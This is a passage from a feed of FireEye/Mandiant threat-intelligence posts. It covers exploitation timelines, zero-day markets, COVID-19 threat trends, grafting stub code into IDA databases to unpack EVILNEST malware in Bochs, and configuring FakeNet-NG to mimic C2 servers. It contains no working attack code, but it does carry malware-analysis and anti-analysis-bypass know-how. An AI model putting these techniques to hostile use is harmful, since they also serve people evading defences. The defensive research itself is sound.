rated it as high risk. The difference in ratings is likely due to NVD describing the consequences of exploitation as denial of service, while we know of exploitation in the wild which results in remote code execution in the context of the renderer, which is a more serious outcome. As demonstrated, factors such as the assessed ease of exploitation and the observance of exploitation in the wild may result a different priority rating than the one issued by NVD. In the case of CVE-2019-12650, we ultimately rated this vulnerability lower than NVD due to the required privileges needed to execute the vulnerability as well as the lack of observed exploitation. On the other hand, we rated the CVE-2019-5786 as high risk due to the assessed severity, ubiquity of the software, and confirmed exploitation. In early 2019, Google reported two zero-day vulnerabilities were being used together in the wild: CVE-2019-5786 (Chrome zero-day vulnerability) and CVE-2019-0808 (a Microsoft privilege escalation vulnerability). Google quickly released a patch for the Chrome vulnerability pushed it to users through Chrome’s auto-update feature on March 1. CVE-2019-5786 is significant because it can impact all major operating systems, Windows, Mac OS, and Linux, and requires only minimal user interaction, such as navigating or following a link to a website hosting exploit code, to achieve remote code execution. The severity is further compounded by a public blog post and proof of concept exploit code that was released a few weeks later and subsequently incorporated into a Metasploit module. The Future of Vulnerability Analysis Requires Algorithms and Human Intelligence We expect that the volume of vulnerabilities to continue to increase in coming years, emphasizing the need for a rating system that accurately identifies the most significant vulnerabilities and provides enough nuance to allow security teams to tackle patching in a focused manner. As the quantity of vulnerabilities grows, incorporating assessments of malicious actor use, that is, observed exploitation as well as the feasibility and relative ease of using a particular vulnerability, will become an even more important factor in making meaningful prioritization decisions. Mandiant Threat Intelligence believes that the future of vulnerability analysis will involve a combination of machine (structured or algorithmic) and human analysis to assess the potential impact of a vulnerability and the true threat that it poses to organizations. Use of structured algorithmic techniques, which are common in many models, allows for consistent and transparent rating levels, while the addition of human analysis allows experts to integrate factors that are difficult to quantify, and adjust ratings based on real-world experience regarding the actual risk posed by various types of vulnerabilities. Human curation and enhancement layered on top of automated rating will provide the best of both worlds: speed and accuracy. We strongly believe that paring down alerts and patch information to a manageable number, as well as clearly communicating risk levels with Mandiant vulnerability ratings makes our system a powerful tool to equip network defenders to quickly and confidently take action against the highest priority issues first. Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

  • Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation — Intelligence for Vulnerability Management, Part Two
    by Kathleen Metrick on April 13, 2020 at 12:00 pm

    One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities. Attackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available. Figure 1: Percentage of vulnerabilities exploited at various times in relation to patch release FireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days – before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability. We believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date. Figure 2: Time between vulnerability exploitation and patch issuance ­­­Time Between Disclosure and Patch Release The average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems. Exploitation After Patch Release While the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch. Time to Exploit for Vulnerabilities First Exploited after a Patch Hours Two vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602. Days 12 percent of vulnerabilities were exploited within the first week following the patch release. One Month 15 percent of vulnerabilities were exploited after one week but within one month of patch release. Years In multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior. Table 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure Case Studies We continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact. Figure 3: Timeline of activity for CVE-2018-15982 CVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups—Russia’s APT28 and North Korea’s APT37—as well as TEMP.MetaStrike and other financially motivated attackers. Figure 4: Timeline of activity for CVE-2018-20250 CVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros. Figure 5: Timeline of Activity for CVE-2018-4878 CVE-2018-4878: A use after free vulnerability exists within the DRMManager’s “initialize” call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea’s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia’s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea’s TEMP.Hermit also using within approximately a month of disclosure. Availability of PoC or Exploit Code The availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2). Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events Product CVE FireEye Risk Rating 1 day WinRAR CVE-2018-20250 Medium 1 day Drupal CVE-2018-7600 High 1 day Cisco Adaptive Security Appliance CVE-2018-0296 Medium 2 days Apache Struts CVE-2018-11776 High 2 days Cisco Adaptive Security Appliance CVE-2018-0101 High 2 days Oracle WebLogic Server CVE-2018-2893 High 2 days Microsoft Windows Server CVE-2018-8440 Medium 2 days Drupal CVE-2019-6340 Medium 2 days Atlassian Confluence CVE-2019-3396 High Table 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018–Q3 2019 Trends by Targeted Products FireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products. The majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns. Figure 6: Exploited vulnerabilities by vendor, Q1 2018–Q3 2019 Outlook and Implications The speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail. We recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization’s industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization’s environment may help to mitigate the risk of a large portion of malicious activity. Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.

  • Limited Shifts in the Cyber Threat Landscape Driven by COVID-19
    by Sandra Joyce on April 8, 2020 at 4:15 pm

    Though COVID-19 has had enormous effects on our society and economy, its effects on the cyber threat landscape remain limited. For the most part, the same actors we have always tracked are behaving in the same manner they did prior to the crisis. There are some new challenges, but they are perceptible, and we—and our customers—are prepared to continue this fight through this period of unprecedented change. The significant shifts in the threat landscape we are currently tracking include: The sudden major increase in a remote workforce has changed the nature and vulnerability of enterprise networks. Threat actors are now leveraging COVID-19 and related topics in social engineering ploys. We anticipate increased collection by cyber espionage actors seeking to gather intelligence on the crisis. Healthcare operations, related manufacturing, logistics, and administration organizations, as well as government offices involved in responding to the crisis are increasingly critical and vulnerable to disruptive attacks such as ransomware. Information operations actors have seized on the crisis to promote narratives primarily to domestic or near-abroad audiences. Same Actors, New Content The same threat actors and malware families that we observed prior to the crisis are largely pursuing the same objectives as before the crisis, using many of the same tools. They are simply now leveraging the crisis as a means of social engineering. This pattern of behavior is familiar. Threat actors have always capitalized on major events and crises to entice users. Many of the actors who are now using this approach have been tracked for years. Ultimately, COVID-19 is being adopted broadly in social engineering approaches because it is has widespread, generic appeal, and there is a genuine thirst for information on the subject that encourages users to take actions when they might otherwise have been circumspect. We have seen it used by several cyber criminal and cyber espionage actors, and in underground communities some actors have created tools to enable effective social engineering exploiting the coronavirus pandemic. Nonetheless, COVID-19 content is still only used in two percent of malicious emails.   For the time being, we do not believe this social engineering will be abetting. In fact, it is likely to take many forms as changes in policy, economics, and other unforeseen consequences manifest. Recently we predicted a spike in stimulus related social engineering, for example. Additionally, the FBI has recently released a press release anticipating a rise in COVID-19 related Business Email Compromise (BEC) scams. State Actors Likely Very Busy Given that COVID-19 is the undoubtedly the overwhelming concern of governments worldwide for the time being, we anticipated targeting of government, healthcare, biotech, and other sectors by cyber espionage actors. We have not yet observed an incident of cyber espionage targeting COVID-19 related information; however, it is often difficult to determine what information these actors are targeting. There has been at least one case reported publicly which we have not independently confirmed. We have seen state actors, such as those from Russia, China and North Korea, leverage COVID-19 related social engineering, but given wide interest in that subject, that does not necessarily indicate targeting of COVID-19 related information. Threat to Healthcare Though we have no reason to believe there is a sudden, elevated threat to healthcare, the criticality of these systems has probably never been greater, and thus the risk to this sector will be elevated throughout this crisis. The threat of disruption is especially disconcerting as it could affect the ability of these organizations to provide safe and timely care. This threat extends beyond hospitals to pharmaceutical companies, as well as manufacturing, administration and logistics organizations providing vital support. Additionally, many critical public health resources lie at the state and local level. Though there is some anecdotal evidence suggesting some ransomware actors are avoiding healthcare targets, we do not expect that all actors will practice this restraint. Additionally, an attack on state and local governments, which have been a major target of ransomware actors, could have a disruptive effect on treatment and prevention efforts. Remote Work The sudden and unanticipated shift of many workers to work from home status will represent an opportunity for threat actors. Organizations will be challenged to move quickly to ensure sufficient capacity, as well as that security controls and policies are in place. Disruptive situations can reduce morale and increase stress, leading to adverse behavior such as decreasing users’ reticence to open suspicious messages, and even increasing the risk of insider threats. Distractions while working at home can cause lowered vigilance in scrutinizing and avoiding suspicious content as workers struggle to balance work and home responsibilities at the same time. Furthermore, the rapid adoption of platforms will undoubtedly lead to security mistakes and attract the attention of the threat actors. Secure remote access will likely rely on use of VPNs and user access permissions and authentication procedures intended to limit exposure of proprietary data. Hardware and infrastructure protection should include ensuring full disk encryption on enterprise devices, maintaining visibility on devices through an endpoint security tool, and maintaining regular software updates.  For more on this issue, see our blog post on the risks associated with remote connectivity. The Information Operations Threat We have seen information operations actors promote narratives associated with COVID-19 to manipulate primarily domestic or near-abroad audiences. We observed accounts in Chinese-language networks operating in support of the People’s Republic of China (PRC), some of which we previously identified to be promoting messaging pertaining to the Hong Kong protests, shift their focus to praising the PRC’s response to the COVID-19 outbreak, criticizing the response of Hong Kong medical workers and the U.S. to the pandemic, and covertly promoting a conspiracy theory that the U.S. was responsible for the outbreak of the coronavirus in Wuhan. We have also identified multiple information operations promoting COVID-19-related narratives that were aimed at Russian- and Ukrainian-speaking audiences, including some that we assess with high confidence are part of the broader suspected Russian influence campaign publicly referred to as “Secondary Infektion,” as well as other suspected Russian activity. These operations have included leveraging a false hacktivist persona to spread the conspiracy theory that the U.S. developed the coronavirus in a weapons laboratory in Central Asia, taking advantage of physical protests in Ukraine to push the narrative that Ukrainians repatriated from Wuhan will infect the broader Ukrainian population, and claiming that the Ukrainian healthcare system is ill-equipped to deal with the pandemic. Other operations alleged that U.S. government or military personnel were responsible for outbreaks of the coronavirus in various countries including Lithuania and Ukraine, or insisted that U.S. personnel would contribute to the pandemic’s spread if scheduled multilateral military exercises in the region were to continue as planned. Outlook It is clear that adversaries expect us to be distracted by these overwhelming events. The greatest cyber security challenge posed by COVID-19 may be our ability to stay focused on the threats that matter most. An honest assessment of the cyber security implications of the pandemic will be necessary to make efficient use of resources limited by the crisis itself. For more information and resources that can help strengthen defenses, visit FireEye’s “Managing Through Change and Crisis” site, which aggregates many resources to help organizations that are trying to navigate COVID-19 related security challenges.

  • Thinking Outside the Bochs: Code Grafting to Unpack Malware in Emulation
    by Michael Bailey on April 7, 2020 at 4:00 pm

    This blog post continues the FLARE script series with a discussion of patching IDA Pro database files (IDBs) to interactively emulate code. While the fastest way to analyze or unpack malware is often to run it, malware won’t always successfully execute in a VM. I use IDA Pro’s Bochs integration in IDB mode to sidestep tedious debugging scenarios and get quick results. Bochs emulates the opcodes directly from your IDB in a Bochs VM with no OS. Bochs IDB mode eliminates distractions like switching VMs, debugger setup, neutralizing anti-analysis measures, and navigating the program counter to the logic of interest. Alas, where there is no OS, there can be no loader or dynamic imports. Execution is constrained to opcodes found in the IDB. This precludes emulating routines that call imported string functions or memory allocators. Tom Bennett’s flare-emu ships with emulated versions of these, but for off-the-cuff analysis (especially when I don’t know if there will be a payoff), I prefer interactively examining registers and memory to adjust my tactics ad hoc. What if I could bring my own imported functions to Bochs like flare-emu does? I’ve devised such a technique, and I call it code grafting. In this post I’ll discuss the particulars of statically linking stand-ins for common functions into an IDB to get more mileage out of Bochs. I’ll demonstrate using this on an EVILNEST sample to unpack and dump next-stage payloads from emulated memory. I’ll also show how I copied a tricky call sequence from one IDB to another IDB so I could keep the unpacking process all in a single Bochs debug session. EVILNEST Scenario My sample (MD5 hash 37F7F1F691D42DCAD6AE740E6D9CAB63 which is available on VirusTotal) was an EVILNEST variant that populates the stack with configuration data before calling an intermediate payload. Figure 1 shows this unusual call site. Figure 1: Call site for intermediate payload The code in Figure 1 executes in a remote thread within a hollowed-out iexplore.exe process; the malware uses anti-analysis tactics as well. I had the intermediate payload stage and wanted to unpack next-stage payloads without managing a multi-process debugging scenario with anti-analysis. I knew I could stub out a few function calls in the malware to run all of the relevant logic in Bochs. Here’s how I did it. Code Carving I needed opcodes for a few common functions to inject into my IDBs and emulate in Bochs. I built simple C implementations of selected functions and compiled them into one binary. Figure 2 shows some of these stand-ins. Figure 2: Simple implementations of common functions I compiled this and then used IDAPython code similar to Figure 3 to extract the function opcode bytes. Figure 3: Function extraction I curated a library of function opcodes in an IDAPython script as shown in Figure 4. The nonstandard function opcodes at the bottom of the figure were hand-assembled as tersely as possible to generically return specific values and manipulate the stack (or not) in conformance with calling conventions. Figure 4: Extracted function opcodes On top of simple functions like memcpy, I implemented a memory allocator. The allocator referenced global state data, meaning I couldn’t just inject it into an IDB and expect it to work. I read the disassembly to find references to global operands and templatize them for use with Python’s format method. Figure 5 shows an example for malloc. Figure 5: HeapAlloc template code I organized the stubs by name as shown in Figure 6 both to call out functions I would need to patch, and to conveniently add more function stubs as I encounter use cases for them. The mangled name I specified as an alias for free is operator delete. Figure 6: Function stubs and associated names To inject these functions into the binary, I wrote code to find the next available segment of a given size. I avoided occupying low memory because Bochs places its loader segment below 0x10000. Adjacent to the code in my code  segment, I included space for the data used by my memory allocator. Figure 7 shows the result of patching these functions and data into the IDB and naming each location (stub functions are prefixed with stub_). Figure 7: Data and code injected into IDB The script then iterates all the relevant calls in the binary and patches them with calls to their stub implementations in the newly added segment. As shown in Figure 8, IDAPython’s Assemble function saved the effort of calculating the offset for the call operand manually. Note that the Assemble function worked well here, but for bigger tasks, Hex-Rays recommends a dedicated assembler such as Keystone Engine and its Keypatch plugin for IDA Pro. Figure 8: Abbreviated routine for assembling a call instruction and patching a call site to an import The Code Grafting script updated all the relevant call sites to resemble Figure 9, with the target functions being replaced by calls to the stub_ implementations injected earlier. This prevented Bochs in IDB mode from getting derailed when hitting these call sites, because the call operands now pointed to valid code inside the IDB. Figure 9: Patched operator new() call site Dealing with EVILNEST The debug scenario for the dropper was slightly inconvenient, and simultaneously, it was setting up a very unusual call site for the payload entry point. I used Bochs to execute the dropper until it placed the configuration data on the stack, and then I used IDAPython’s idc.get_bytes function to extract the resulting stack data. I wrote IDAPython script code to iterate the stack data and assemble push instructions into the payload IDB leading up to a call instruction pointing to the DLL’s export. This allowed me to debug the unpacking process from Bochs within a single session. I clicked on the beginning of my synthesized call site and hit F4 to run it in Bochs. I was greeted with the warning in Figure 10 indicating that the patched IDB would not match the depictions made by the debugger (which is untrue in the case of Bochs IDB mode). Bochs faithfully executed my injected opcodes producing exactly the desired result. Figure 10: Patch warning I watched carefully as the instruction pointer approached and passed the IsDebuggerPresent check. Because of the stub I injected (stub_IsDebuggerPresent), it passed the check returning zero as shown in Figure 11. Figure 11: Passing up IsDebuggerPresent I allowed the program counter to advance to address 0x1A1538, just beyond the unpacking routine. Figure 12 shows the register state at this point which reflects a value in EAX that was handed out by my fake heap allocator and which I was about to visit. Figure 12: Running to the end of the unpacker and preparing to view the result Figure 13 shows that there was indeed an IMAGE_DOS_SIGNATURE (“MZ”) at this location. I used idc.get_bytes() to dump the unpacked binary from the fake heap location and saved it for analysis. Figure 13: Dumping the unpacked binary Through Bochs IDB mode, I was also able to use the interactive debugger interface of IDA Pro to experiment with manipulating execution and traversing a different branch to unpack another payload for this malware as well. Conclusion Although dynamic analysis is sometimes the fastest road, setting it up and navigating minutia detract from my focus, so I’ve developed an eye for routines that I can likely emulate in Bochs to dodge those distractions while still getting answers. Injecting code into an IDB broadens the set of functions that I can do this with, letting me get more out of Bochs. This in turn lets me do more on-the-fly experimentation, one-off string decodes, or validation of hypotheses before attacking something at scale. It also allows me to experiment dynamically with samples that won’t load correctly anyway, such as unpacked code with damaged or incorrect PE headers. I’ve shared the Code Grafting tools as part of the flare-ida GitHub repository. To use this for your own analyses: In IDA Pro’s IDAPython prompt, run code_grafter.py or import it as a module. Instantiate a CodeGrafter object and invoke its graftCodeToIdb() method: CodeGrafter().graftCodeToIdb() Use Bochs in IDB mode to conveniently execute your modified sample and experiment away! This post makes it clear just how far I’ll go to avoid breaking eye contact with IDA. If you’re a fan of using Bochs with IDA too, then this is my gift to you. Enjoy!

  • Zero-Day Exploitation Increasingly Demonstrates Access to Money, Rather than Skill — Intelligence for Vulnerability Management, Part One
    by Kathleen Metrick on April 6, 2020 at 12:00 pm

    One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization’s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. FireEye Mandiant Threat Intelligence documented more zero-days exploited in 2019 than any of the previous three years. While not every instance of zero-day exploitation can be attributed to a tracked group, we noted that a wider range of tracked actors appear to have gained access to these capabilities. Furthermore, we noted a significant increase over time in the number of zero-days leveraged by groups suspected to be customers of companies that supply offensive cyber capabilities, as well as an increase in zero-days used against targets in the Middle East, and/or by groups with suspected ties to this region. Going forward, we are likely to see a greater variety of actors using zero-days, especially as private vendors continue feeding the demand for offensive cyber weapons. Zero-Day Usage by Country and Group Since late 2017, FireEye Mandiant Threat Intelligence noted a significant increase in the number of zero-days leveraged by groups that are known or suspected to be customers of private companies that supply offensive cyber tools and services. Additionally, we observed an increase in zero-days leveraged against targets in the Middle East, and/or by groups with suspected ties to this region. Examples include: A group described by researchers as Stealth Falcon and FruityArmor is an espionage group that has reportedly targeted journalists and activists in the Middle East. In 2016, this group used malware sold by NSO group, which leveraged three iOS zero-days. From 2016 to 2019, this group used more zero-days than any other group. The activity dubbed SandCat in open sources, suspected to be linked to Uzbekistan state intelligence, has been observed using zero-days in operations against targets in the Middle East. This group may have acquired their zero-days by purchasing malware from private companies such as NSO group, as the zero-days used in SandCat operations were also used in Stealth Falcon operations, and it is unlikely that these distinct activity sets independently discovered the same three zero-days. Throughout 2016 and 2017, activity referred to in open sources as BlackOasis, which also primarily targets entities in the Middle East and likely acquired at least one zero-day in the past from private company Gamma Group, demonstrated similarly frequent access to zero-day vulnerabilities. We also noted examples of zero-day exploitation that have not been attributed to tracked groups but that appear to have been leveraged in tools provided by private offensive security companies, for instance: In 2019, a zero-day exploit in WhatsApp (CVE-2019-3568) was reportedly used to distribute spyware developed by NSO group, an Israeli software company. FireEye analyzed activity targeting a Russian healthcare organization that leveraged a 2018 Adobe Flash zero-day (CVE-2018-15982) that may be linked to leaked source code of Hacking Team. Android zero-day vulnerability CVE-2019-2215 was reportedly being exploited in the wild in October 2019 by NSO Group tools. Zero-Day Exploitation by Major Cyber Powers We have continued to see exploitation of zero days by espionage groups of major cyber powers. According to researchers, the Chinese espionage group APT3 exploited CVE-2019-0703 in targeted attacks in 2016. FireEye observed North Korean group APT37 conduct a 2017 campaign that leveraged Adobe Flash vulnerability CVE-2018-4878. This group has also demonstrated an increased capacity to quickly exploit vulnerabilities shortly after they have been disclosed. From December 2017 to January 2018, we observed multiple Chinese groups leveraging CVE-2018-0802 in a campaign targeting multiple industries throughout Europe, Russia, Southeast Asia, and Taiwan. At least three out of six samples were used before the patch for this vulnerability was issued. In 2017, Russian groups APT28 and Turla leveraged multiple zero-days in Microsoft Office products.  In addition, we believe that some of the most dangerous state sponsored intrusion sets are increasingly demonstrating the ability to quickly exploit vulnerabilities that have been made public. In multiple cases, groups linked to these countries have been able to weaponize vulnerabilities and incorporate them into their operations, aiming to take advantage of the window between disclosure and patch application.  Zero-Day Use by Financially Motivated Actors Financially motivated groups have and continue to leverage zero-days in their operations, though with less frequency than espionage groups. In May 2019, we reported that FIN6 used a Windows server 2019 use-after-free zero-day (CVE-2019-0859) in a targeted intrusion in February 2019. Some evidence suggests that the group may have used the exploit since August 2018. While open sources have suggested that the group potentially acquired the zero-day from criminal underground actor “BuggiCorp,” we have not identified direct evidence linking this actor to this exploit’s development or sale. Conclusion We surmise that access to zero-day capabilities is becoming increasingly commodified based on the proportion of zero-days exploited in the wild by suspected customers of private companies. Possible reasons for this include: Private companies are likely creating and supplying a larger proportion of zero-days than they have in the past, resulting in a concentration of zero-day capabilities among highly resourced groups. Private companies may be increasingly providing offensive capabilities to groups with lower overall capability and/or groups with less concern for operational security, which makes it more likely that usage of zero-days will be observed. It is likely that state groups will continue to support internal exploit discovery and development; however, the availability of zero-days through private companies may offer a more attractive option than relying on domestic solutions or underground markets. As a result, we expect that the number of adversaries demonstrating access to these kinds of vulnerabilities will almost certainly increase and will do so at a faster rate than the growth of their overall offensive cyber capabilities—provided they have the ability and will to spend the necessary funds. Register today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in vulnerability threats, trends and recommendations in our upcoming April 30 webinar.  Sourcing Note: Some vulnerabilities and zero-days were identified based on FireEye research, Mandiant breach investigation findings, and other technical collections. This paper also references vulnerabilities and zero-days discussed in open sources including  Google Project Zero’s zero-day “In the Wild” Spreadsheet . While we believe these sources are reliable as used in this paper, we do not vouch for the complete findings of those sources. Due to the ongoing discovery of past incidents, we expect that this research will remain dynamic.

  • FakeNet Genie: Improving Dynamic Malware Analysis with Cheat Codes for FakeNet-NG
    by Matthew Haigh on April 2, 2020 at 3:00 pm

    As developers of the network simulation tool FakeNet-NG, reverse engineers on the FireEye FLARE team, and malware analysis instructors, we get to see how different analysts use FakeNet-NG and the challenges they face. We have learned that FakeNet-NG provides many useful features and solutions of which our users are often unaware. In this blog post, we will showcase some cheat codes to level up your network analysis with FakeNet-NG. We will introduce custom responses and demonstrate powerful features such as executing commands on connection events and decrypting SSL traffic. Since its first release in 2016, we have improved FakeNet-NG by adding new features such as Linux support and content-based protocol detection. We recently updated FakeNet-NG with one of our most requested features: custom responses for HTTP and binary protocols. This blog post offers seven “stages” to help you master different FakeNet-NG strategies. We present them in terms of common scenarios we encounter when analyzing malware. Feel free to skip to the section relevant to your current analysis and/or adapt them to your individual needs. The stages are presented as follows: Custom File Responses Custom Binary Protocols Custom HTTP Responses Manual Custom Responses Blacklisting Processes Executing Commands on Connection Events Decrypting SSL Traffic Read on to upgrade your skill tree and become a FakeNet-NG pro! Before You Start: Configuring FakeNet-NG Here is a quick reference for FakeNet-NG configurations and log data locations. Configuration files are in fakenet\configs. You can modify default.ini or copy it to a new file and point FakeNet-NG to the alternate configuration with -c. Ex: fakenet.py -c custom.ini. Default files are at fakenet\defaultFiles and Listener implementations are at fakenet\listeners. The fakenet\configs\default.ini default configuration includes global configuration settings and individual Listener configurations. Custom response configuration samples are included in the directory fakenet\configs in the files CustomProviderExample.py, sample_custom_response.ini, and sample_raw_response.txt. The install location for FakeNet-NG in FLARE VM is C:\Python27\lib\site-packages\fakenet. You will find the subdirectories containing the defaultFiles, configs, and listeners in this directory. In FLARE VM, FakeNet-NG packet capture files and HTTP requests can be found on the Desktop in the fakenet_logs directory Stage 1: Custom File Responses As you may have noticed, FakeNet-NG is not limited to serving HTML pages. Depending on the file type requested, FakeNet-NG can serve PE files, ELF files, JPG, GIF, etc. FakeNet-NG is configured with several default files for common types and can also be configured to serve up custom files. The defaultFiles directory contains several types of files for standard responses. For example, if malware sends an FTP GET request for evil.exe, FakeNet-NG will respond with the file defaultFiles\FakeNetMini.exe (the default response for .exe requests). This file is a valid Portable Executable file that displays a message box. By providing an actual PE file, we can observe the malware as it attempts to download and execute a malicious payload. An example FTP session and subsequent execution of the downloaded default file is shown in Figure 1. Figure 1: Using FTP to download FakeNet-NG’s default executable response Most requests are adequately handled by this system. However, malware sometimes expects a file with a specific format, such as an image with an embedded PowerShell script, or an executable with a hash appended to the file for an integrity check . In cases like these, you can replace one of the default files with a file that meets the malware’s expectation. There is also an option in each of the relevant Listeners (modules that implement network protocols) configurations to modify the defaultFiles path. This allows FakeNet-NG to serve different files without overwriting or modifying default data. A customized FakeNet.html file is shown in Figure 2. Figure 2: Modify the default FakeNet.html file to customize the response Stage 2: Custom Binary Protocols Many malware samples implement custom binary protocols which require specific byte sequences. For example, malware in the GH0ST family may require each message to begin with a signature such as “GH0ST”. The default FakeNet-NG RawListener responds to unknown requests with an echo, i.e. it sends the same data that it has received. This behavior is typically sufficient. However, in cases where a custom response is required, you can still send the data the malware expects. Custom TCP and UDP responses are now possible with FakeNet-NG. Consider a hypothetical malware sample that beacons the string “Hello” to its command and control (C2) server and waits for a response packet that begins with “FLARE” followed by a numeric command (0-9). We will now demonstrate several interesting ways FakeNet-NG can handle this scenario. Static Custom Response You can configure how the TCP and/or UDP Raw Listeners respond to traffic. In this example we tell FakeNet-NG how to respond to any TCP raw request (no protocol detected). First uncomment the Custom configuration option in the RawTCPListener section of fakenet/configs/default.ini as illustrated in Figure 3. [RawTCPListener] Enabled:     True Port:        1337 Protocol:    TCP Listener:    RawListener UseSSL:      No Timeout:     10 Hidden:      False # To read about customizing responses, see docs/CustomResponse.mdCustom:    sample_custom_response.ini Figure 3: Activate custom TCP response Next configure the TcpRawFile custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 4. Make sure to comment-out or replace the default RawTCPListener instance. [ExampleTCP] InstanceName:     RawTCPListener ListenerType:     TCP TcpRawFile:       flare_command.txt Figure 4: TCP static custom response specifications Create the file fakenet\configs\flare_command.txt with the content FLARE0. TCP responses will now be generated from the contents of the file. Dynamic Custom Response Perhaps you want to issue commands dynamically rather than committing to a specific command in flare_command.txt. This can be achieved programmatically. Configure the TcpDynamic custom response in fakenet\configs\sample_custom_response.ini as demonstrated in Figure 5. Make sure to comment-out or replace the existing RawTCPListener instance. [ExampleTCP] InstanceName:     RawTCPListener TcpDynamic:       flare_command.py Figure 5: TCP dynamic custom response specifications The file fakenet\configs\CustomProviderExample.py can be used as a template for our dynamic response file flare_command.py. We modify the HandleTcp() function and produce the new file fakenet\configs\flare_command.py as illustrated in Figure 6. Now you can choose each command as the malware executes. Figure 7 demonstrates issuing commands dynamically using this configuration. import socket def HandleTcp(sock):     while True:         try:             data = None             data = sock.recv(1024)         except socket.timeout:             pass         if not data:             break         resp = raw_input(‘\nEnter a numeric command: ‘)         command = bytes(‘FLARE’ + resp + ‘\n’)         sock.sendall(command) Figure 6: TCP dynamic response script Figure 7: Issue TCP dynamic commands Stage 3: Custom HTTP Responses Malware frequently implements its own encryption scheme on top of the popular HTTP protocol. For example, your sample may send an HTTP GET request to /comm.php?nonce=<random> and expect the C2 server response to be RC4 encrypted with the nonce value. This process is illustrated in Figure 8. How can we easily force the malware to execute its critical code path to observe or debug its behaviors? Figure 8: Malware example that expects a specific key based on beacon data For cases like these we recently introduced support for HTTP custom responses. Like TCP custom responses, the HTTPListener also has a new setting named Custom that enables dynamic HTTP responses. This setting also allows FakeNet-NG to select the appropriate responses matching specific hosts or URIs. With this 